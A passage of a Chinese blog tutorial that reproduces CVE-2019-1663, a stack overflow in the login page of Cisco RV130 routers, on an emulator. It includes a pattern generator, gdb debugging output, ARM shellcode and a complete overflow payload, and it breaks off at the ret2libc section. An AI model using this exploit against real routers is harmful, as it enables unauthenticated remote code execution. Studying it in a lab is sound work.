height=\"173\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-1.png\" alt=\"\" class=\"wp-image-1257\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-1.png?v=1657503950 599w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-1-300x87.png?v=1657503950 300w\" sizes=\"(max-width: 599px) 100vw, 599px\" \/><\/figure>\n\n\n\n<p>\u4fdd\u8bc1\u76ee\u5f55\u662f\u6839\u6587\u4ef6\u7cfb\u7edf\u5185\u5bb9\uff0c\u4e3a\u4e86\u8c03\u8bd5\u53ef\u4ee5\u653e\u5165\u4e00\u4e2agdb\u5230\u76ee\u5f55<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"770\" height=\"300\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-2.png\" alt=\"\" class=\"wp-image-1258\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-2.png?v=1657503966 770w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-2-300x117.png?v=1657503966 300w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-2-768x299.png?v=1657503966 768w\" sizes=\"(max-width: 770px) 100vw, 770px\" \/><\/figure>\n\n\n\n<p>\u4fee\u6539config\u6587\u4ef6\u5185\u5bb9\uff0c\u5176\u4e2d\u5730\u5740\u968f\u673a\u5316\u5173\u95ed\uff0c\u503c\u8bbe\u7f6e\u4e3a0<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"621\" height=\"203\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-3.png\" alt=\"\" class=\"wp-image-1261\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-3.png?v=1657504040 621w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-3-300x98.png?v=1657504040 300w\" sizes=\"(max-width: 621px) 100vw, 621px\" \/><\/figure>\n\n\n\n<p>\u5728emux\u6839\u76ee\u5f55\/files\/emux\/devices\u672b\u5c3e\u6dfb\u52a0\u4e00\u884c<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>ID,qemu-binary,machine-type,cpu-type,dtb,memory,kernel-image,qemuopts,description<br>DV-ARM,qemu-system-arm-7.0.0,realview-eb-mpcore,,,256M,zImage-3.18.109-realview,REALVIEW-EB,Damn Vulnerable ARM Router<br>......<br><strong>rv130,qemu-system-arm-7.0.0,vexpress-a9,,,256M,zImage-2.6.39.4-vexpress,VEXPRESS2,Cisco RV130 Router<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>\u542f\u52a8EMUX\uff0c\u9009\u62e9\u6700\u540e\u6dfb\u52a0\u7684\u8bb0\u5f55<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"715\" height=\"418\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-4.png\" alt=\"\" class=\"wp-image-1262\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-4.png?v=1657504219 715w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-4-300x175.png?v=1657504219 300w\" sizes=\"(max-width: 715px) 100vw, 715px\" \/><\/figure>\n\n\n\n<p>\u542f\u52a8\u540eWEB\u670d\u52a1\u53ef\u6b63\u5e38\u4f7f\u7528<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"684\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-15-1024x684.png?v=1657521855\" alt=\"\" class=\"wp-image-1289\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-15-1024x684.png?v=1657521855 1024w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-15-300x200.png?v=1657521855 300w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-15-768x513.png?v=1657521855 768w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-15.png?v=1657521855 1036w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h3>3\u3001\u73af\u5883\u4e0b\u8f7d<\/h3>\n\n\n\n<p><strong>emux\u6839\u76ee\u5f55\/files\/emux<\/strong>\/<strong>rv130\u76ee\u5f55\u6253\u5305\u6587\u4ef6\u89c1<a rel=\"noreferrer noopener\" href=\"https:\/\/www.zhiwanyuzhou.com\/download\/Archive\/%E6%A0%88%E6%BA%A2%E5%87%BA%E7%A4%BA%E4%BE%8B\/\" target=\"_blank\">\u6b64\u5904<\/a>\u3002<\/strong><\/p>\n\n\n\n<h2>\u4e09\u3001\u6f0f\u6d1e\u76f8\u5173\u51c6\u5907<\/h2>\n\n\n\n<h3>1\u3001\u6f0f\u6d1e\u7b80\u4ecb<\/h3>\n\n\n\n<p>CVE-2019-1663\u662f\u4e00\u4e2a\u5f71\u54cdCisco\u7684\u591a\u4e2a\u4f4e\u7aef\u8bbe\u5907\u7684\u5806\u6808\u7f13\u51b2\u533a\uff0c\u7531\u4e8e\u7ba1\u7406\u754c\u9762\u6ca1\u6709\u5bf9\u767b\u5f55\u8868\u5355\u7684pwd\u5b57\u6bb5\u8fdb\u884c\u4e25\u683c\u7684\u8fc7\u6ee4\uff0c\u5e95\u5c42\u5728\u5904\u7406\u8bf7\u6c42\u65f6\uff0cstrcpy\u51fd\u6570\u5bfc\u81f4\u5806\u6808\u6ea2\u51fa\uff0c\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u7684\u8fdc\u7a0b\u653b\u51fb\u8005\u53ef\u4ee5\u5728\u8bbe\u5907\u4e0a\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002<\/p>\n\n\n\n<p>\u5f71\u54cd\u7684\u7248\u672c\uff1a<\/p>\n\n\n\n<ul><li>Cisco RV110W \uff1c1.2.1.7<\/li><li>Cisco RV130\/RV130W \uff1c1.0.3.45<\/li><li>Cisco RV215W \uff1c1.3.0.8<\/li><\/ul>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u4e3b\u8981\u6a21\u62df\u7684\u662fRV130\u578b\u53f7\uff0c\u5176\u4ed6\u578b\u53f7\u53ef\u4ee5\u6839\u636e\u5174\u8da3\u8fdb\u884c\u9009\u62e9\u3002<\/p>\n\n\n\n<h3>2\u3001\u6570\u636e\u5305\u751f\u6210<\/h3>\n\n\n\n<p>\u56e0\u4e3a\u662f\u7f13\u51b2\u533a\u6ea2\u51fa\uff0c\u6240\u4ee5\u5b9a\u4f4d\u6ea2\u51fa\u70b9\u6700\u4e3a\u91cd\u8981\uff0c\u9996\u5148\u53ef\u4ee5\u751f\u6210\u89c4\u5f8b\u5b57\u7b26\u4e32\uff0c\u4ee5\u65b9\u4fbf\u5b9a\u4f4d\u6ea2\u51fa\u70b9\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-palette-color-4-color has-palette-color-8-background-color has-text-color has-background\"><code>#!\/usr\/bin\/python3\n\ntext = \"\"\nfor i in range(26):\n\tfor j in range(26):\n\t\t\tfor k in range(10):\n\t\t\t\ttext += chr(ord('A')+i)+chr(ord('a')+j)+chr(ord('0')+k)\nprint(text)<\/code><\/pre>\n\n\n\n<p>\u6253\u5370\u89c4\u5f8b\u5b57\u7b26\u4e32\u793a\u4f8b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"723\" height=\"199\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-8.png\" alt=\"\" class=\"wp-image-1279\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-8.png?v=1657509182 723w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-8-300x83.png?v=1657509182 300w\" sizes=\"(max-width: 723px) 100vw, 723px\" \/><\/figure>\n\n\n\n<h3>3\u3001\u8c03\u8bd5<\/h3>\n\n\n\n<ul><li>\u67e5\u627epid\uff1a<\/li><\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"354\" height=\"61\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-6.png\" alt=\"\" class=\"wp-image-1271\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-6.png?v=1657507356 354w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-6-300x52.png?v=1657507356 300w\" sizes=\"(max-width: 354px) 100vw, 354px\" \/><\/figure>\n\n\n\n<ul><li>\u5185\u5b58\u7a7a\u95f4\uff1a<\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code has-palette-color-4-color has-palette-color-8-background-color has-text-color has-background\"><code># cat \/proc\/685\/maps\n00008000-0008e000 r-xp 00000000 00:0f 3420457    \/usr\/sbin\/httpd\n00096000-0009f000 rw-p 00086000 00:0f 3420457    \/usr\/sbin\/httpd\n0009f000-000b5000 rw-p 00000000 00:00 0          &#91;heap]\n......\n4024e000-402ab000 r-xp 00000000 00:0f 3419965    \/lib\/libc.so.0\n402ab000-402b3000 ---p 00000000 00:00 0 \n402b3000-402b4000 r--p 0005d000 00:0f 3419965    \/lib\/libc.so.0\n402b4000-402b5000 rw-p 0005e000 00:0f 3419965    \/lib\/libc.so.0\n402b5000-402ba000 rw-p 00000000 00:00 0 \n402ba000-402bc000 r-xp 00000000 00:0f 3419967    \/lib\/libdl.so.0\n402bc000-402c3000 ---p 00000000 00:00 0 \n402c3000-402c4000 r--p 00001000 00:0f 3419967    \/lib\/libdl.so.0\n402c4000-402c5000 rw-p 00000000 00:00 0 \n402c5000-402cf000 r-xp 00000000 00:0f 3419968    \/lib\/libgcc_s.so.1\n402cf000-402d6000 ---p 00000000 00:00 0 \n402d6000-402d7000 rw-p 00009000 00:0f 3419968    \/lib\/libgcc_s.so.1\n402d7000-40357000 rw-s 00000000 00:04 0          \/SYSV00000457 (deleted)\n40357000-403d7000 r--s 00000000 00:04 0          \/SYSV00000457 (deleted)\nbefdf000-bf000000 rw-p 00000000 00:00 0          &#91;stack]\nffff0000-ffff1000 r-xp 00000000 00:00 0          &#91;vectors]<\/code><\/pre>\n\n\n\n<ul><li>\u4f7f\u7528gdb\u9644\u52a0httpd\u7a0b\u5e8f<\/li><\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>\/gdb7.10 --pid 685<br>...<br>0x4025ca94 in select () from \/lib\/libc.so.0<br>(gdb) c<br>Continuing.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<ul><li>\u7f16\u5199\u811a\u672c\u53d1\u5305\uff1a<\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code has-palette-color-4-color has-palette-color-8-background-color has-text-color has-background\"><code>import socket\n\npwd = \"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao<strong>8Ao9<\/strong>Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0\"\nbody = \"submit_button=login&amp;submit_type=&amp;gui_action=&amp;wait_time=0&amp;change_action=&amp;enc=1&amp;user=cisco&amp;pwd=%s&amp;sel_lang=EN\"%pwd\n\ndata = '''POST \/login.cgi HTTP\/1.1\nHost: 192.168.1.1\nContent-Length: %d\n\n%s'''%(len(body), body)\ns = socket.socket()\ns.connect((\"127.0.0.1\", 20080))\ns.send(bytes(data,encoding=\"raw_unicode_escape\"))\ns.close()<\/code><\/pre>\n\n\n\n<p>\u6700\u7ec8\u5d29\u6e83\u70b9\u57280x396f4138\uff0c\u5bf9\u5e94ASCII\u503c9oA8\uff0c\u7531\u4e8e\u67b6\u6784\u662fARM\u5c0f\u7aef\uff0c\u6240\u4ee5\u503c\u5e94\u662f8Ao9<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"618\" height=\"361\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-12.png\" alt=\"\" class=\"wp-image-1286\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-12.png?v=1657519771 618w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-12-300x175.png?v=1657519771 300w\" sizes=\"(max-width: 618px) 100vw, 618px\" \/><\/figure>\n\n\n\n<p>\u7ecf\u8fc7\u8ba1\u7b97\uff0c\u6ea2\u51fa\u70b9\u5728\u89c4\u5f8b\u5b57\u7b26\u4e32\u504f\u79fb446\u5b57\u8282\u5904\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"192\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/08\/image-1024x192.png?v=1660355703\" alt=\"\" class=\"wp-image-1449\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/08\/image-1024x192.png?v=1660355703 1024w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/08\/image-300x56.png?v=1660355703 300w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/08\/image-768x144.png?v=1660355703 768w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/08\/image.png?v=1660355703 1059w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>bt\u67e5\u770b\u6808\u56de\u6eaf<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"692\" height=\"78\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-14.png\" alt=\"\" class=\"wp-image-1288\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-14.png?v=1657521429 692w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-14-300x34.png?v=1657521429 300w\" sizes=\"(max-width: 692px) 100vw, 692px\" \/><\/figure>\n\n\n\n<p>\u6253\u5f00Ghidra\uff0c\u5206\u6790\u4e3b\u7a0b\u5e8f\uff0c\u8df3\u8f6c\u5230\u5730\u57400x28ff4\uff0c\u627e\u5230\u6700\u540e\u7684\u51fd\u6570\u7ed3\u5c3e\u59040x29000<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"444\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-16-1024x444.png?v=1657523959\" alt=\"\" class=\"wp-image-1290\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-16-1024x444.png?v=1657523959 1024w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-16-300x130.png?v=1657523959 300w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-16-768x333.png?v=1657523959 768w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-16.png?v=1657523959 1107w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>\u8bbe\u7f6e\u65ad\u70b90x29000\uff0c\u91cd\u65b0\u6765\u4e00\u6b21<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"626\" height=\"279\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-18.png\" alt=\"\" class=\"wp-image-1293\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-18.png?v=1657524189 626w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-18-300x134.png?v=1657524189 300w\" sizes=\"(max-width: 626px) 100vw, 626px\" \/><figcaption>\u76ee\u524d\u7684\u6808\u9876\u7a7a\u95f4\uff1a<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"728\" height=\"73\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-19.png\" alt=\"\" class=\"wp-image-1294\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-19.png?v=1657524266 728w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-19-300x30.png?v=1657524266 300w\" sizes=\"(max-width: 728px) 100vw, 728px\" \/><\/figure>\n\n\n\n<p>\u4e0b\u9762\u4e00\u8282\u5c06\u4ece\u4e09\u4e2a\u4e0d\u540c\u7684\u65b9\u6cd5\u6765\u4ecb\u7ecd\u5982\u4f55\u8fdb\u884c\u6f0f\u6d1e\u5229\u7528\uff0c\u6700\u7ec8\u80fd\u591f\u521b\u5efa\u6587\u4ef6\/www\/getshell\u3002<\/p>\n\n\n\n<h2>\u56db\u3001\u5229\u7528\u65b9\u6cd5<\/h2>\n\n\n\n<h3>1\u3001ret2shellcode<\/h3>\n\n\n\n<p>\u5f53NX\u672a\u5f00\u653e\u7684\u65f6\u5019\u53ef\u4ee5\u4f7f\u7528\uff0c\u8fd9\u91cc\u4e3a\u4e86\u6f14\u793a\uff0c\u624b\u52a8\u4fee\u6539\u4e86\u4e8c\u8fdb\u5236\u6587\u4ef6\u7684\u6807\u5fd7\u4f4d\uff0c\u4fee\u6539\u503c 06000000 --&gt; 07000000\uff0c\u5173\u4e8eLinux\u7684\u4fdd\u62a4\u673a\u5236\uff0c\u53ef\u4ee5\u53c2\u8003\u300a<a href=\"https:\/\/www.zhiwanyuzhou.com\/index.php\/2022\/06\/22\/linux%e7%a8%8b%e5%ba%8f%e4%b8%8e%e7%b3%bb%e7%bb%9f%e7%9a%84%e4%bf%9d%e6%8a%a4%e6%9c%ba%e5%88%b6%e7%ae%80%e4%bb%8b\/\">Linux\u7a0b\u5e8f\u4e0e\u7cfb\u7edf\u7684\u4fdd\u62a4\u673a\u5236\u7b80\u4ecb<\/a>\u300b<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"788\" height=\"622\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-11.png\" alt=\"\" class=\"wp-image-1283\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-11.png?v=1657512968 788w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-11-300x237.png?v=1657512968 300w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-11-768x606.png?v=1657512968 768w\" sizes=\"(max-width: 788px) 100vw, 788px\" \/><\/figure>\n\n\n\n<p>\u8fd0\u884c\u7a0b\u5e8f\uff0c\u53ef\u4ee5\u770b\u5230\u5806\u3001\u6808\u5177\u6709\u4e86\u6267\u884c\u6743\u9650x\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code has-palette-color-4-color has-palette-color-8-background-color has-text-color has-background\"><code># cat \/proc\/685\/maps \n00008000-0008e000 r-xp 00000000 00:0f 3420454    \/usr\/sbin\/httpd\n00096000-0009f000 <strong>rwxp<\/strong> 00086000 00:0f 3420454    \/usr\/sbin\/httpd\n0009f000-000b5000 <strong>rwxp<\/strong> 00000000 00:00 0          &#91;heap]\n......\n4024e000-402ab000 r-xp 00000000 00:0f 3419960    \/lib\/libc.so.0\n402ab000-402b3000 ---p 00000000 00:00 0 \n402b3000-402b4000 r-xp 0005d000 00:0f 3419960    \/lib\/libc.so.0\n402b4000-402b5000 rwxp 0005e000 00:0f 3419960    \/lib\/libc.so.0\n402b5000-402ba000 rwxp 00000000 00:00 0 \n402ba000-402bc000 r-xp 00000000 00:0f 3419964    \/lib\/libdl.so.0\n402bc000-402c3000 ---p 00000000 00:00 0 \n402c3000-402c4000 r-xp 00001000 00:0f 3419964    \/lib\/libdl.so.0\n402c4000-402c5000 rwxp 00000000 00:00 0 \n402c5000-402cf000 r-xp 00000000 00:0f 3419965    \/lib\/libgcc_s.so.1\n402cf000-402d6000 ---p 00000000 00:00 0 \n402d6000-402d7000 rwxp 00009000 00:0f 3419965    \/lib\/libgcc_s.so.1\n402d7000-40357000 rwxs 00000000 00:04 0          \/SYSV00000457 (deleted)\n40357000-403d7000 r-xs 00000000 00:04 0          \/SYSV00000457 (deleted)\nbefdf000-bf000000 <strong>rwxp<\/strong> 00000000 00:00 0          &#91;stack]\nffff0000-ffff1000 r-xp 00000000 00:00 0          &#91;vectors]<\/code><\/pre>\n\n\n\n<p>\u6784\u5efa\u6808\u7a7a\u95f4\u793a\u610f\u56fe\u5982\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"461\" height=\"392\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-30.png\" alt=\"\" class=\"wp-image-1335\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-30.png?v=1657592935 461w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-30-300x255.png?v=1657592935 300w\" sizes=\"(max-width: 461px) 100vw, 461px\" \/><\/figure>\n\n\n\n<p>\u5b9a\u4e49\u5982\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>\u5e8f\u53f7<\/td><td>\u8fc7\u7a0b<\/td><td>PC<\/td><td>SP<\/td><\/tr><tr><td>1<\/td><td>\u5f53\u524d\u6808<\/td><td>shellcode\u5730\u5740<\/td><td><\/td><\/tr><tr><td>2<\/td><td>shellcode<\/td><td><\/td><td>shellcode\u5185\u5bb9<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u4f7f\u7528\u4ee5\u4e0b\u7684shellcode\uff0c\u6700\u7ec8\u6548\u679c\u4e3a\u751f\u6210\u6587\u4ef6\/www\/getshell\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code has-palette-color-4-color has-palette-color-8-background-color has-text-color has-background\"><code>\"\\x01\\x60\\x8f\\xe2\"    \/\/ add  r6, pc, #1\n\"\\x16\\xff\\x2f\\xe1\"    \/\/ bx   r6\n\"\\x78\\x46\"            \/\/ mov  r0, pc\n\"\\x10\\x30\"            \/\/ adds r0, #16\n\"\\xff\\x21\"            \/\/ movs r1, #255    ; 0xff\n\"\\xff\\x31\"            \/\/ adds r1, #255    ; 0xff\n\"\\x01\\x31\"            \/\/ adds r1, #1\n\"\\x08\\x27\"            \/\/ adds r7, #8\n\"\\x01\\xdf\"            \/\/ svc  1\n\"\\x40\\x40\"            \/\/ eors r0, r0\n\"\\x01\\x27\"            \/\/ movs r7, #1\n\"\\x01\\xdf\"            \/\/ svc  1\n\"\\x2F\\x77\\x77\\x77\"    \/\/ string: \/www\n\"\\x2F\\x67\\x65\\x74\"    \/\/ string: \/get\n\"\\x73\\x68\\x65\\x6C\"    \/\/ string: shel\n\"\\x6C\";               \/\/ string: l<\/code><\/pre>\n\n\n\n<p>\u7f16\u5199\u53d1\u5305\u811a\u672c\uff0c\u8bbe\u7f6e\u65ad\u70b9\u57280x29000\uff0c\u8fd0\u884c\u53d1\u5305\u811a\u672c\uff0cgdb\u4f1a\u65ad\u5728\u51fd\u6570\u672b\u5c3e\uff0c\u67e5\u770b\u6808\u7a7a\u95f4\u5e03\u5c40\uff0c\u9700\u8981\u5c06\u8fd4\u56de\u5730\u5740\u5904\u5730\u5740\u6307\u54110xbeff6de4+0x24=0xbeff6e08\uff08shellcode\uff09\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"731\" height=\"237\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-23.png\" alt=\"\" class=\"wp-image-1309\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-23.png?v=1657530062 731w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-23-300x97.png?v=1657530062 300w\" sizes=\"(max-width: 731px) 100vw, 731px\" \/><\/figure>\n\n\n\n<p>\u67e5\u770b16\u8fdb\u5236\u6808\u7a7a\u95f4\u5e03\u5c40\uff08<strong>\u56e0\u4e3a\u6a21\u62df\u7684\u7cfb\u7edf\u7684\u67d0\u4e9b\u539f\u56e0\uff0c\u53ef\u80fd\u5bfc\u81f4\u6808\u57fa\u5740\u4e0d\u4e00\u81f4\uff0c\u8c03\u8bd5\u4ee5\u5b9e\u9645\u4e3a\u51c6<\/strong>\uff09\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"708\" height=\"187\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-24.png\" alt=\"\" class=\"wp-image-1315\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-24.png?v=1657533164 708w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-24-300x79.png?v=1657533164 300w\" sizes=\"(max-width: 708px) 100vw, 708px\" \/><\/figure>\n\n\n\n<p>\u5173\u952e\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-palette-color-4-color has-palette-color-8-background-color has-text-color has-background\"><code>pwd  = \"A\"*446            # padding\npwd += \"\\x08\\x6e\\xff\\xbe\" # pc, shellcode addr\npwd += \"\\x01\\x60\\x8f\\xe2\\x16\\xff\\x2f\\xe1\\x78\\x46\\x10\\x30\\xff\\x21\\xff\\x31\\x01\\x31\\x08\\x27\\x01\\xdf\\x40\\x40\\x01\\x27\\x01\\xdf\\x2F\\x77\\x77\\x77\\x2F\\x67\\x65\\x74\\x73\\x68\\x65\\x6C\\x6C\" # shellcode, creat \/www\/getshell\nbody = \"submit_button=login&amp;submit_type=&amp;gui_action=&amp;wait_time=0&amp;change_action=&amp;enc=1&amp;user=cisco&amp;pwd=%s&amp;sel_lang=EN\"%pwd<\/code><\/pre>\n\n\n\n<p>\u8fd0\u884c\u811a\u672c\uff0c\u6700\u540e\u4f7f\u7528\u547d\u4ee4\u67e5\u770b\uff0c\u7684\u786e\u751f\u6210\u6587\u4ef6\u6210\u529f\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"650\" height=\"39\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-21.png\" alt=\"\" class=\"wp-image-1306\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-21.png?v=1657529696 650w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-21-300x18.png?v=1657529696 300w\" sizes=\"(max-width: 650px) 100vw, 650px\" \/><\/figure>\n\n\n\n<h3>2\u3001ret2libc<\/h3>\n\n\n\n<p>\u5f53ASLR\u672a\u5f00\u653e\u7684\u65f6\u5019\u53ef\u4ee5\u4f7f\u7528\uff0c\u4e3b\u8981\u662f\u627elibc\u5e93\u7684ROP\u3002<\/p>\n\n\n\n<p>ROP\uff08Return-Oriented Programming, \u8fd4\u56de\u5bfc\u5411\u7f16\u7a0b\uff09\uff0c\u5c31\u662f\u901a\u8fc7\u6808\u6ea2\u51fa\u7684\u6f0f\u6d1e\uff0c\u8986\u76d6return 